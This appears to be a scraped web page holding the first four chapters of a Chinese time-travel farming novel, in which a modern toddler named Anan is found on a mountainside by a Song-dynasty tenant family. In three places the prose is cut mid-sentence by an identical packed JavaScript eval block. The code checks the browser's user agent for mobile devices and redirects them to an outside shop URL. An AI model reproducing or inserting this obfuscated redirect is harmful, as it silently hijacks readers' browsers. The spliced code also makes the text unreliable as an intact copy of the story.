《小平安种田记》 1. 第 1 章 嘉祐七年秋。 红日落下西山,村庄里一道道炊烟升起。张有喜扛着锄头从田里回来,还没到家,便听说自己家里捡了个孩子。 张有喜起初还以为又是弃婴。这年头弃婴不稀奇,去年他二舅兄进城路上,就亲手捡到过一个弃婴,还是个男婴呢,抱回来养了几日,可巧有人家愿意收养的,便又送了出去,也算一桩善事了。 为这事儿,还差点把他家小女儿哄骗了去,叫她以为小孩子当真都是路上捡来的,哈哈。 张有喜推开家门,二嫂吴氏正在院里收衣服,瞧见他笑道:“三叔回来啦,快去瞧瞧,你家大郎捡了个小丫头回来,白白嫩嫩的招人稀罕。” 张有喜的大女儿张腊月拎着一桶猪食从厨房出来,她今年十三岁,细瘦的像根豆角,双手拎着猪食桶两边打晃。张有喜紧走几步,接过猪食桶拎到猪圈门口,嗔道:“你哥不是在家吗,喊他来拎,这么沉你拎不动。” “爹回来啦。”张腊月笑了下,指指屋里说,“大哥走不开。” 张有喜瞅着大女儿那抿笑的样子,寻思大郎那熊孩子又干啥了,大儿子十五岁,这年纪多少有点操心费嘴。 张有喜推开西厢房,屋里已经掌灯,灯光摇曳,小女儿张七月第一个跑过来,扯着他衣襟笑道:“爹你快看,大哥捡了个小娃娃。” “夫君回来了。”妻子宋氏放下手里的针线起身给他倒水,同时下巴示意了一下靠墙坐着的大儿子。张大郎怀里抱着一团东西,脸上表情颇有些无奈。 张有喜接过水碗咕咚咕咚一口气喝光,才顾上仔细打量大儿子怀里那一团子。 不怪他,第一眼是真没看出来,那小孩裹在一件大人的夹袄里,缩在张大郎怀里团成一团,仔细看才分辨出埋在张大郎怀里的半个黑漆漆的后脑勺。 “多大孩子啊?”张有喜愣了一下问。 “看着得有三四岁了。”宋氏道。 “三四岁?”张有喜啧了一声道,“哪家子这么狠心,这么大孩子也舍得扔。大郎,你哪儿捡到的?” “后山。”张大郎说,“我今日进山打猎,回来的时候,转过北山梁子就听见她哭,我一路寻到谷底才寻见她,哭得一抽一抽的,四下里都没有旁人,我没法子,便把她抱回来了。” 宋氏骂道:“这家子丧良心了,就算养不起,人家扔孩子也是往人多的地方扔,好歹给她留一条活路,哪能往荒山老林子扔啊。” 张有喜道:“会不会不是故意扔的,谁家不小心丢了的?好歹都养到三岁了,养只猫狗还心疼呢,怎就能舍得扔了。” 宋氏说:“谁知道呢,这么大的孩子,她自己能跑多远,哪能自己跑到后山去了,我看十有八九是故意扔的,天底下什么样的爹娘没有啊。” 张有喜走过去,伸手拍拍那一团子,夹着嗓子诱哄道:“小娃儿,你别怕,告诉伯伯,你叫什么名字,你家是哪里的,可知你爹娘叫什么名字?” 他不碰还好,他一碰,那小孩便越发埋头往张大郎怀里藏,吓得胳膊紧紧巴着不放,脑袋都钻到张大郎胳肢窝去了。 张七月拉着他袖子埋怨:“爹,你别动她,她害怕。” 宋氏叹气道:“没用,问过了,这么点的孩子怕是吓坏了,问什么都不应,一句话也不说。” 三四岁还不会说话,莫不是傻子、哑巴?因而才被狠心扔掉的。张老三心里一沉,便问了出来,张大郎一听不乐意了。 “她会说话。”张大郎抗议道,“本来还不这样,我抱她进村的时候就光有人问,刚才又一堆人跑来看,说这说那的,还捏人家的脸,就吓成这样了。在山上她还跟我说话、还会叫哥哥呢。” “她说什么了?”张有喜忙问。 “不知道。”张大郎理直气壮道,“我没听懂,她这么小,又哭哇哇的说不清话,我就听懂一句哥哥。” “你娘的。”张有喜无奈笑骂。 张有喜坐下歇息,宋氏则快手快脚地把自家孩子的一件夹衣改了,裤腿、袖子折起来缝短。 昏黄的油灯下一片温馨静谧,张七月挨在大哥旁边,好奇地看着大哥怀里的小孩,伸手想摸摸她头发,怕吓到她,又不怎么敢碰。 张腊月喂完猪进来,把半个烙饼递给张大郎,笑眯眯指了指他怀里的团子,转身又出去忙。宋氏这会儿抽不出手,她要帮忙的家务活就多了。 张大郎一手接过烙饼,一手把巴在他身上的小孩往外摘,哄道:“你是不是饿了,给你麦饼吃,你闻闻多香……” 他下边三个弟弟妹妹,堂弟堂妹还不算,哄小孩有一套的,轻声细语地哄了哄,小孩慢慢从包裹里探出半个包子脸。 小女孩浓密的长睫毛一绺绺粘在一起,黑葡萄一样的大眼睛在灯火下泛着水光,那眼睛从张七月和宋氏身上慢慢划过,刚一对上张有喜黑黢黢笑得露出大白牙的脸,吓得猛一扭头又藏回去了。 张有喜:“……” 张有喜忍不住越发咧着嘴笑得乐呵,干脆起身乐呵呵出去了。 “别怕了,人都走了,不信你自己看。”张七月小声哄劝,接过大哥手里的烙饼小心递到小孩面前。 “谢谢姐姐。” 小孩黑眼睛定定看着张七月,奶乎乎的声音还带着哭过的鼻音,慢吞吞说完谢谢,才伸出两只白生生的小爪接过饼子。 八岁的张七月顿时高兴起来,连连摆手:“不谢不谢,真乖,你快吃吧。” 小孩接过饼子,拿在手里看了看,才送到嘴里吃起来。那麦饼是用麦粉兑上豆粉烙的,厚实筋道,散发着粮食的原香,小孩儿一口咬上去,便歪着脑袋,两只小手抓着饼子往下拽,似乎很用力地拽下来一口,那样子让人不由得让人发笑。 粗筛的麦饼有嚼劲儿,香是真香,吃起来扛饿,寻常农家也只在农忙时候才舍得吃几顿。 “娘,她咬不动。”张七月道。 “给她自己慢慢吃。”宋氏笑道,“人小,得吃软和的,回头吃饭时你给她盛点粥来。” “喔。”张七月答应着,拿了个黑瓷小碗给她倒水。张大郎给她喂了半碗水,小女孩喝完了,又奶声奶气地道谢:“谢谢哥哥。” 尽管看样子饿了,可这孩子吃东西却也不算快,加上烙饼咬不动,细嚼慢咽的,宋氏和张大郎、张七月都不自觉地含笑看着她,等她慢吞吞吃完半个麦饼,水也都喝了。 吃完东西,张大郎趁机想把她抱下去,小孩却本能地抓着他不撒手。 “哥哥,我要妈妈。”小孩抽抽鼻子。 “你要什么?”张大郎扭头问宋氏,“娘,你听听她要什么呀?” 宋氏也困惑了一下,忙问道:“麻麻是什么?你要什么麻麻?” “我要找妈妈。”小女孩委屈地扁扁嘴,“哥哥,给妈妈打电话。” “电话又是什么?”宋氏叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004245|194000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气道,“大郎,七月,你们好生听听,她到底想要什么呀?这小孩说话怎么听不懂啊,口音也不太一样,怕不是外地人,咱们说话她也不知道能不能听懂,这可怎办?” 宋氏低头咬断线头,把改好的衣裳理开来看了看,把孩子抱到床上给她换衣裳。张大郎趁机赶紧往外跑,这小孩一下午抓着他不放,他连去茅房都顾不上。 宋氏给那孩子换好衣服,便让她坐在床上,叫七月看着她玩,自己起身出去忙碌。七月把被子铺平,拿来五颗鸽蛋大小、磨得溜圆的石头坐在床上教她玩“抓子儿”。七月灵巧的手指把五颗石头抛来抛去,玩得眼花缭乱,那孩子看得好奇,七月便递给她叫她自己试试。不一会儿,两个小孩逐渐玩到了一起。 张二郎放羊回来,听说家里捡了个小孩,十岁的小少年满是好奇,赶紧往屋里跑。 张二郎从兜里掏出一把红通通的山枣,先递给妹妹七月,又掏出一把托在掌心,凑到那小女孩跟前笑眯眯问:“给你,酸甜酸甜的,要不要?” “二哥你知道吗,你给她东西吃,她就会说谢谢哥哥。”七月在旁边一脸兴奋,转头又去哄那小女孩,“你别怕,可以吃的,他是我二哥。” 果然,小女孩迟疑了一下,伸出小胖手抓了几颗山枣儿,奶声奶气地道谢:“谢谢哥哥。” 张二郎不禁也笑了起来,他们平日一起玩的村里孩子,玩泥巴、打架骂脏话才是常态,哪见过这样干净乖巧、还会奶声奶气说谢谢的小娃娃。 “不用谢。”二郎问,“你叫什么名字?” 七月忙在旁边提醒:“二哥,她可能听不懂你说话,她说话我们也听不太懂。娘说她可能不是我们这地方的人。” “你能听懂我说话吗?”二郎放慢了语速,两手比划着问道。 出乎意料,小孩黑眼睛扑闪扑闪望着他,居然点了点头。 “你能听懂啊!”七月顿时高兴了,急忙问道,“那你快告诉姐姐,你叫什么名字,几岁了,家是哪里的?你爹娘呢,你是怎么跑到山上去的?” 她一连串问了这么多,小孩包子脸呆了呆,好歹记住了最前边的问题,乖巧地伸出两根小手指。 “三岁。”她说,“姐姐,安安三岁了。” “小笨蛋,这样才是三。”七月没忍住噗的一笑,直接动手帮她把手指又加上一根,继续追问,“你三岁了呀,那你叫什么名字?” “安安。” “什么?” “安安。” 七月挠头困惑,二郎在旁边总算听明白了,低头问道:“你是说,你的名字就叫安安,对不对?” 安安用力点点小脑袋。 七月不禁也笑了,这名字有些特别,小孩子说话吐字又不是不清楚,她还以为她在“啊啊”呢。 “原来你叫安安呀,真乖。”七月抬手摸摸她的小脑袋。 二郎语速慢慢地耐心问道:“安安,你告诉哥哥,谁把你带到山上去的,你爹娘呢?” “安安不知道,安安找不到家了。” 安安小脸上一片茫然,她也不知道呀,她的小脑袋里完全弄不明白。 她也不知道自己是怎么跑到这里来的。她就在台阶上等妈妈,妈妈可能很忙,那安安就等着妈妈下班,安安很乖没有乱跑,安安就在那里玩,不小心摔了一跤,摔得安安屁股好疼啊,然后不知怎么的,她就跑到这个陌生的地方来了。 2. 第 2 章 一个陌生又奇怪的地方,哪里都怪怪的。 爸爸妈妈都不见了。 爸爸妈妈说,他们离婚了。可是安安才只有三岁,小脑袋瓜里还弄不明白“离婚”是什么意思。 她只知道,爸爸妈妈天天吵架,没人陪她。爸爸妈妈都不想要她。他们说安安是一个没人要的累赘。 今天爸爸跟安安撒谎了。爸爸说他有工作要忙,但是爸爸去陪一个阿姨逛街了,爸爸打电话时她都听到了。爸爸叫那个阿姨“宝贝”,那是爸爸的新女朋友,就要给她当后妈了。爸爸的新女友不喜欢爸爸有孩子。 爸爸就带她去找妈妈,爸爸把安安扔在妈妈公司楼下就走了,可是妈妈一直没来。 就像爸爸妈妈说的那样,不听话的小孩就会被扔掉,扔到一个找不到家的地方。可是安安明明很乖。 安安憋着嘴,圆滚滚的黑眼睛里冒出两泡眼泪,委屈地拉着七月问:“姐姐,爸爸妈妈是不是真的不要安安了?” 七月还是没听懂,为难地问二哥:“她说什么……疤疤麻麻?” 二郎也不解。 宋氏拿着晾晒的衣裳从外头进来,张有喜背着手在门口探头探脑,趁机也跟着宋氏进来,笑眯眯看着床上的小女孩,怕自己吓着她,又赶紧把嘴闭上。 “这怎么弄?”张有喜小声示意。 “我哪知道啊,”宋氏道,“明日你是不是去跟里正报备一声,找到她家人当然好,若是找不到她的家人,总得给她寻一个稳妥去处,少不得还得求到里正。” 张有喜点头。 至于留下来养,夫妻两个压根就没有这种念头。他们膝下已有两儿两女,再说日子穷得叮当响,自己都快养不活了。 张有喜是个佃户,祖上几辈人都是这郭家村的佃户。不光他,他们这整个郭家村,甚至周围十里八乡的大小村子,就大都是佃户。 他们这郭家村,其实村里一个姓郭的都没有。郭家村原本叫郭庄,曾是一位郭皇后家族的庄子。北陵山山清水秀,物产丰富,旱地、水田和山林地都有,靠近沂州府,距汴京城也不过四五百里路,便引来了不少官宦富贵人家在此购置田产。 权贵大户想吞并你家的田地,他们就能有一万个法子,合理合法地就把你家的田吞并到他名下,反正几十年前,这附近几座山头、方圆百里的田地就全都是郭氏家族的私产。失地的农人别无去处,自然就转成了佃户。 后来这郭家犯了事,被抄家灭族,此处田庄也被抄没,几经流转,分化成几个庄子,换了新的主人。郭庄随之消亡,村子改叫了郭家村,这里聚集的佃户们依旧还要讨生活,无非换了个主家,继续佃着新主家的地种。 老有喜家四世同堂,父母双全,兄弟三个,上头还有一位老祖母健在,一大家子十七张嘴,佃着主家二十亩地,辛勤耕种,相扶相持,一年忙到头,日子也就勉强维持个温饱。 宋氏给那孩子换上补丁摞补丁的夹袄夹裤,这衣裳改过以后,长短合适了,宽幅却难免肥大,肥肥的套在那孩子身上颇有喜感,笨拙得像个球儿。张有喜瞅着忍俊不禁,可小孩一对上他的脸就更拘谨了,小手小脚规规矩矩的,坐在床上不敢动弹。 宋氏嫌弃地推他:“去去,你别杵在这儿吓人,该干啥干啥去。” “行,我走。”张有喜乐呵呵笑骂,“娘的,我到底哪里吓人了,想当年你还不是看我长得俊才要嫁我。” “呸,不着调的,孩子跟前呢。”宋氏笑着呸他。 佃户虽说不同于庄仆,有时却也难免要受主家差遣,像今日庄子上修葺粮仓人手不够,庄头一声吩咐,张有喜他爹带着他大哥、二哥便赶紧去了,留下张有喜管着自家的一堆活儿。 天傍黑时,他爹和两个兄长才一身疲惫地回来,一家人收拾了吃饭。 人口多,挨挨挤挤坐满了一堂屋,男人和长辈们自然是端坐吃饭,三个儿媳则忙前忙后地伺候长辈、照顾孩子,自己再抽空塞两口填饱肚子。 见那孩子怕生,宋氏便把她和七月留在屋里,腊月把粥饭端回去,三个女孩儿就在那屋吃了。 一边吃饭,张有喜一边就把捡孩子的事情跟他爹张春山仔细说了。 张春山赞许地看着大孙子道:“大郎做得对,好歹一条性命,总不能装没看见吧。不过这事得跟里正说一声,叫他先有个数,看看该怎么安置。” 张有喜一听忙笑道:“爹,您是一家之主,要不您明天去跟里正说?” “那是自然。”张春山满口答应着。 张家大哥张有田说:“小丫头子,估计就是故意扔的了,哪指望还有家人找她。” 身为家中老大,长房长子,张有田子嗣上头却不太顺利,膝下无子,说这话时不禁便有些唏嘘了。 二嫂吴氏道:“爹,娘,儿媳多嘴一句,我瞧着那孩子养得极好,白白嫩嫩的,身上有肉,头发油光水滑,捡来的时候也干净。你说咱穷人家里哪养得出这样的孩子,莫不是什么富贵人家丢的吧?” 老二张有福笑道:“当真?若真是这样,老三你给她送回去,你的福气可就来了,怎么着他家也得给你些钱财谢礼吧。” “老二家说的不假,那孩子确实白嫩干净。”张家老娘余氏点头道。 一桌人都把目光转向张有喜夫妻。 宋氏迟疑了一下,说道:“爹娘有所不知,那孩子确实长得好,只是这时节都秋凉了,她身上衣裳却十分单薄,衣袖只有半截,裤腿露着脚脖子,裤子上还有好几个破洞,补都不曾补,谁家富贵孩子能穿这样。” “就是,我也瞧见了。”张有喜立刻附和妻子,“再说咱这鸟不拉屎的穷山旮旯,哪来的富贵人家孩子给你捡。” 张有福摇头叹道:“那就难办了,若是个小子,说不定还有人家愿意收养,三岁大的丫头,恐怕没有谁家愿意要的。三岁说大不大,也不能干活,却还得人照看,说她小吧,她可能记得住亲生爹娘了,怕养大了不亲。再说养大了也得陪得起嫁妆啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004246|194000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当朝厚嫁之风盛行,嫁妆比聘礼高,富贵人家攀比嫁妆,贫家百姓嫁不起女儿,没有嫁妆要遭人耻笑的,女儿更是在婆家无法立足。于是民间百姓“讳养女”,抛弃、溺杀女婴者比比皆是。 旁人不说,就说张家自己吧,张有喜兄弟姐妹六个,四弟过继给二叔家了除外,最小的妹妹三年前才嫁,张家卖了家中仅有的一头毛驴,才好歹凑了一副勉强能看的嫁妆。 张春山道:“捡都捡回来了,总不能就不管了吧。我看这孩子是个命大的,那山上野兽黄狼子可不缺,竟不曾伤她,还能好好的叫咱家大郎捡回来,俗话说大难不死,没准也有她自己的造化。等我明日去跟里正说说,先四周村子问一问再说。” 余氏也跟着笑道:“小孩子可怜见的,既然捡回来了,老三家的你就先照看着,有什么需用的你来跟我说。” “知道了,娘。”宋氏赶忙答应着。 毕竟家里多了个吃饭的,公婆发了话,宋氏也就能踏实了。 说完这事,张春山又提起另一桩事情,他今日在庄子里干活,听到风声说年底的佃租又要涨了。 张家这样的寻常佃户,年初签契都是“平分子”,主佃对半分,佃户自备农具、种粮、肥料等,官府对此也有约束,主家不能随意增长。但是张家的驴卖了以后,就需借用主家的耕牛,要酌情多交一些“牛米”,惯例是一成,如今主家放出话来,今年的“牛米”要再涨半成,一成半。 这可真是一桩要命的大事情!张有喜一听就骂道:“这些黑心烂肠子的,刚有个好年景,他们又要涨租了。” 张有福道:“他今年敢涨一成半,明年就敢涨到两成,反正他们两嘴皮子一吧嗒,你能有什么法子。” 好年景白高兴了,别小看这半成,一年又不剩钱了,家里口粮可能还得短缺。 张有田道:“那还不如签二八契呢,牛具种粮肥料都是他主家的,咱们就出个劳力。” “那怎么行。”张有喜反驳道,“除了耕畜,咱自家肥料总是能积的,其实也就省一点种粮,我算过了,更不划算。” 一顿饭就讨论这事了。 “还是得有个牲口。”饭后搁下碗,张春山一锤定音道,“原也打算救了你妹子嫁妆的急,家里缓几年再买牲口就是,只这两年还没攒下几个余钱,牛米他竟涨了。等秋收过后吧,不行先借点钱,家里想法子再买头驴,咱不用他的牛。” 一头驴拉不动犁,可好在儿子们正当壮年,孙子们眼看也大了,配上人力能凑合使。 宋氏起身收拾碗筷,大嫂耿氏抢先道:“放着我来吧,你而今又多了一桩事,先回屋照看孩子去。” “大嫂受累。”宋氏笑道,转身去厨房烧水,她得给那孩子洗个澡。 山上冷,小孩子穿得又少,下午抱回来时身上凉冰冰的,宋氏就赶紧拿夹袄包上了。这会子小孩熟悉一点了,赶紧多烧些热水给她泡泡,去去寒。都说小儿难养,皇宫里官家的孩子都一个个夭折呢,可不敢大意。 3. 第 3 章 宋氏回屋时,腊月、七月正带着安安吃饭。三个女孩子一人一碗粥,坐着小板凳凑在一起,叽叽咕咕说着小话。 宋氏推门笑嗔道:“食不言寝不语,你们两个别招她说话,她小,当心呛着。” “我跟姐姐都吃完了,没招她说话。”七月抬头笑道,“娘,她吃饭真慢呀,磨叽磨叽,怪好玩的。” 怕安安人小端不住碗,屋里桌案又太高,腊月给她跟前又放了一个小板凳,粗陶碗放在板凳上,小孩吃饭的时候就整个人趴下头去,一手扶碗一手抓着筷子,笨拙的样子煞是可爱。 “不着急,慢慢吃。”宋氏走过去拍拍她的头说,“吃饱了婶婶给你洗洗澡可好?洗完澡咱们睡觉觉。” 安安抬起头,嘴里慢慢嚼着饭,黑眼睛扑闪扑闪地看着宋氏,像某种惴惴不安的小动物。 天一黑,独自在陌生地方的小孩子便越发不安起来。 “阿姨,安安想回家了。”安安怯怯说道,“安安找不到家了。” “她这是……叫我姨母?”可怜的孩子,宋氏心说,怕还不明白自己被抛弃了。宋氏柔声哄道:“那好,你就叫姨母好了。安安,你看天都黑了,姨母也没法子送你回家,你今晚就先住姨母家里好吗。” “打110,”安安说,“找警察蜀黍。” 宋氏茫然看看两个女儿,实在也不明白她说的什么。 “你说你要……要什么?秫秫?”七月嘴快问道,“你是不是想吃秫秫了?” 腊月笑道:“我看是你想吃吧,人家哪里说想吃秫秫了。” “她刚才不是说秫秫吗?”七月不服气地问,“安安,你刚才说秫秫对不对?” 安安茫然,但还是点了点头。 “看吧。”七月摊手冲着姐姐得意了一下,又向安安笑道,“安安我跟你说,咱家有黏秫秫,煮粥滑溜溜的可好吃了,比今晚的杂豆粥好吃。” 安安傻乎乎的继续茫然,她实在也不明白此“蜀黍”和彼“秫秫”究竟有什么不同,话题又是怎么从“蜀黍”跑到吃上的。不过杂豆粥确实不太好吃,豆子硬硬的,还有点苦味儿,需要她一粒一粒地慢慢嚼。 七月的心思却已经全然跑到秫秫粥上头了,拉着宋氏道:“娘,你去跟大伯娘说,明早吃秫秫粥好不好?” 宋氏为难了一下。张有喜一脚进来,眼睛瞄着安安,见小孩没有很害怕的样子便笑眯眯走进来。 “大郎二郎呢,又跑出去野了?”宋氏问。 “出去玩了。”张有喜道,“你管他呢,小小子就皮,你还指望他们在屋里绣花纺线——你们说什么秫秫呢?” 七月赶紧把秫秫粥的要求提了。张有喜一听便说:“小孩子吃个秫秫粥罢了,又没要肉吃,叫大嫂煮一回就是了。” “有你这么惯孩子的吗,”宋氏嗔道,“你一句话轻省,秫秫粥吃火煮不烂,我真去说了,大嫂明早少不得又得早起小半个时辰。” 妯娌三个各有分工,大嫂耿氏操持家中饭食和伺候老祖母,便是宋氏早起去煮,依耿氏的性子,也一样会早早陪她起来忙活。 “这么着吧,”宋氏向两个孩子商量道,“明日的早饭,你大伯娘怕是已经备下了,你们晚吃一顿行吧,明天晚上我给你们煮。” 七月点头说好。安安还在茫然迷糊着呢,被宋氏掐着腋下抱过来,带她去洗澡。 洗澡回来,宋氏一边拿着帕子给安安擦头发,一边问她:“安安,你想跟谁睡,姨母带你睡好不好?” 七月在一旁雀跃:“跟我睡跟我睡,我和大姐、还有你,咱们三个一床睡!” 四世同堂一个院子,他们六口人挤在三间茅草土坯的西厢房,大郎二郎两兄弟一张床,腊月七月两姐妹一张床。让三个孩子一起睡,怎么看怎么不靠谱。 宋氏当然不答应,三个孩子一起睡可别冻着,再说小孩刚离了爹娘,来到生地方,夜里恐怕哭闹。只是小孩跟张有喜还没熟起来,瞧见他怯怯的,宋氏便寻思着,不行就把张有喜赶去跟两个儿子挤挤,好歹先凑合一下。 可小孩儿却很听七月的话,洗完澡抱回去,便怯生生拉着七月的手不放。 张有喜却说:“随她们去吧,反正这时节也不是很冷,给她穿着夹衣睡,冻不着的。你没瞧见吗,她这会子跟七月玩熟了,就只要七月,不要你。” “夜里哭闹你起来哄。”宋氏白了张有喜一眼,只好嘱咐腊月,叫她夜间多留意两个小的。 腊月牵着两个小的去隔壁屋,临出门时安安停住脚,挥挥手,奶声奶气地道了句:“阿姨再见,伯伯再见!” “诶,再见再见!”张有喜赶紧夹着嗓子答应,按捺不住还有点小激动,这还是小东西第一次跟他说话。 “啧,这小孩可真有礼数。”张有喜咧着嘴直乐。 宋氏不禁也笑,跟着孩子们去了隔壁。 安顿三个女孩儿睡下,宋氏回屋把一样东西递给张有喜,“你看看这个。” 张有喜接过来看了看,捏捏,又凑到灯下仔细端详,有些惊奇地道:“这是……鞋子?” “那孩子的鞋。”宋氏道,“我起初还当是木屐呢,刚来时我拿夹袄给她包裹,大郎就随手把她鞋子脱到一边了,刚才给她洗澡时我才留意,也不知是什么做的,竟不曾见过。” “软的,像是皮革,只不知是什么东西的皮。”张有喜拿在手里端详道,“这么轻巧,只是怎这般怪模怪样,好好的鞋子却要弄这么多孔洞做什么。” “那孩子就说是叫洞洞鞋。”宋氏道,“找不到针线,看着囫囵一整个儿,也不知怎么缝起来的。” 张有喜道:“横竖有钱人家不穿这样露着脚后跟的鞋,倒像是咱们打草鞋的样子。” 这么一说倒也是。宋氏便把那鞋放到一旁,去翻找自家孩子穿小的鞋,预备着留给安安明早上穿。天冷了,穿这露洞露脚的鞋子可不行。 张有喜斜歪在床头看着宋氏忙碌,琢磨道:“这小孩身上反正有些古怪,你看她不哭不闹的也不找爹娘,来了到现在一句不曾提过,别说三岁,便是再大一些,怕也要哭闹找爹娘的,莫不是……她爹娘已经不在了?” “你说的是,问她爹娘,她就只摇头。”这么一想似乎就合理了,宋氏怅然一叹,都说这孩子养得好,想必家中以前也是十分疼爱的,若爹娘忽然都不在了,族人亲眷不愿意抚养,抛弃了也是有的。 而若是她爹娘亡故,亲族不愿抚养却又怕被人指摘,为了掩人耳目悄悄扔到深山去,似乎就说得通了。 两口子睡不着合计半宿,越说越觉得有道理。 这一夜竟然还算安生。安安夜间醒了一次,腊月便点了灯起来哄她,小小的孩子也不大声哭闹,傻乎乎坐在被窝里,憋着嘴,迷迷瞪瞪地看着四周发呆。 腊月喂她喝水,趁她还迷糊着,赶紧把她塞进被窝拍哄。宋氏听到动静,披衣起来去看时,小孩儿迷迷瞪瞪居然又睡了。 宋氏松了口气,回去跟张有喜絮叨:“我还预备着她今夜要好生的哭闹一场呢。” 张有喜道:“这小孩倒是省心,便是咱家七月,乍到生地方睡觉怕也不行。” 夫妻两个哪里知道,因为父母离婚,三岁的安安被推来推去,在托班、不同的亲戚和保姆之间来回换,早已经习惯了这样的生活。 半夜一睁眼,竟不知置身何处。算了,小脑袋瓜困成了空心的,似真似梦,继续睡吧。 早晨醒来时,床上就剩下安安自己了,睁眼看到黑乎乎的茅草屋顶不禁又发起了呆,呆了会儿想起自己来到了一个陌生的地方。 她迷糊了一会儿,揉揉眼睛费劲地爬下床,却没找到自己的那双小巧可爱的奶油白洞洞鞋。 “安安你醒啦。”七月快活地跑进来,指着床边一双麻鞋告诉她,“你穿这个,这是我小时候穿的,你原先那鞋冷了。” 这麻鞋是用细麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004247|194000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绳一圈圈箍成的,比寻常草鞋结实,也比草鞋暖和耐穿,是百姓人家最常见的鞋子了。只是这双鞋安安穿着大了些,木头鞋底沉重,鞋帮又硬,安安不由得就拖着脚,走起路来啪嗒啪嗒,一摇一摆的,像一只跩不动的小鸭子。 出门宋氏瞧见,忍不住噗嗤笑道:“这鞋你穿大了,先凑合一下吧,若是有空我再给你做一双。” 一踏出屋门,秋日明媚的阳光扑面而来,安安不禁眯起了眼睛。白头发的老奶奶手里拿着拐杖,眯眼坐在堂屋门口晒着太阳,瞧见她出来,便招了招手。 安安一摇一摆走过去,乖巧叫人:“奶奶好。” “这是太奶奶。”七月赶紧纠正她。 “太奶奶好。”安安虽然不太理解,却也很懂得听话。 太奶奶瘪着没牙的嘴,笑眯眯看着安安问:“呦,你是谁家的孩儿啊?” 七月忙答道:“太奶奶,她叫安安,就是大哥昨天抱回来的那个。” “你大哥的孩子呀?”太奶奶笑呵呵道,“你大哥又生了个小闺女?好,这孩子好,银娃娃一样。” “太奶奶又糊涂了,大约把我当成我姑姑了。”七月在安安耳边小声笑道。 太奶奶耄耋之年,已经是十里八村少有的高寿老人了,儿孙伺候得尽心,平日都是大嫂耿氏专门服侍,今日因为还有个安安,余氏便叫两个儿媳换了工,换宋氏留在家中。 秋收大忙,其他人都已经下田去了,家中这会儿就只剩下她们几个。 太奶奶眯上眼睛继续晒太阳,似乎一眯眼就打起了盹,阳光下历经岁月的脸像一朵盛开的菊花。 宋氏招招手,悄默声地把安安叫去厨房吃饭,一碗麦仁粥,粥在锅里给安安温着,还有半个烤热的杂粮炊饼。 “家里有人吗?” 外头有人喊了一声,宋氏开门见是里正,连忙请进来,又搬凳子、又赶紧去倒茶水。 “不用忙活了,我事多,这就走。”里正道,“昨晚就听说你家捡了个孩子,一清早你家翁又去告我,我路过就进来看看。” “里正叔操心了。”宋氏忙把安安叫过来,又把事情简要跟里正述说一遍。 “呦,这孩子长得可真好。”里正打量一番,又叫安安张开嘴给他看牙齿,左看右看,才摸着山羊胡子的下巴道,“长得好,养得也好,你瞧这脸皮子猪油一样的白,依我看,可不像是吃糠咽菜、穷苦人家的孩子。” 里正也这么说,宋氏不禁又有些疑惑,忙把衣裳的事情跟里正说了。 “这可难讲。”里正道,“若是拐子拐来的,故意给她换了破烂衣裳呢?” “你们可不知道,我上头的官差亲口说的,上个月府衙还捉住一个拐子,判了绞。《宋刑统》写着呢,拐卖十岁以下童子者绞刑,买家明知是被拐幼童还敢买的,流放三千里,经手牙人、故意窝藏者也要坐大牢的。这孩子来历不明,她自己人小又说不清楚,你家也不怕惹了麻烦,万一有人扣你们一个藏匿被拐幼童的罪名呢?” 宋氏脸色一变,顿了顿忙笑道:“哎呦,里正叔你快莫唬我,我这胆子小的。你也说了她来历不明,我家无非是好心收留一下,遇上了总不能狠心不管,我们又不知情。再说了,我们可不是私自收留,我们这不是主动报官了吗,似我们乡下人见识少,里正叔您可就是我们见过的最大的官了。” “所以这事还得里正叔帮着操操心,我们也该知您的人情,闲时少不得叫我公爹邀您吃酒。再说小孩子可怜见的,您帮了她,也是里正叔您的功德不是?” 一番话说完,果然里正换了个脸色。 “这话说的。”里正笑道,“你放心,我既是这一地的里正,自该庇护乡里,你家找上我了我自然要管的,只这几日太忙,等我得了空,就去官府帮你们报备。” “那可多谢里正叔了。” 宋氏殷勤把里正送到大门口,门一关,便忍不住翻了个大大的白眼。 4. 第 4 章 宋氏纵是个乡野村妇,却也没那么好哄,这里正是个什么德性谁还不知道。要说拐子无非贪财,往往都是挑那些十几岁上、容易脱手的年轻女子下手,却专门拐个三岁孩子扔山上去做什么? 因此宋氏私下里对拐子一说不太敢信。再说就算是拐子拐来的,那也赖不着他们家呀,当今官家仁义,官府也需讲些道理吧。 “娘,官差不许我们收留安安吗?”七月小脸上不无担心,小声道,“那她可怎么办?” “听他胡扯。”宋氏也小声道,“他那是拿大话唬人,耍耍官威罢了,好叫我们知他的人情。” 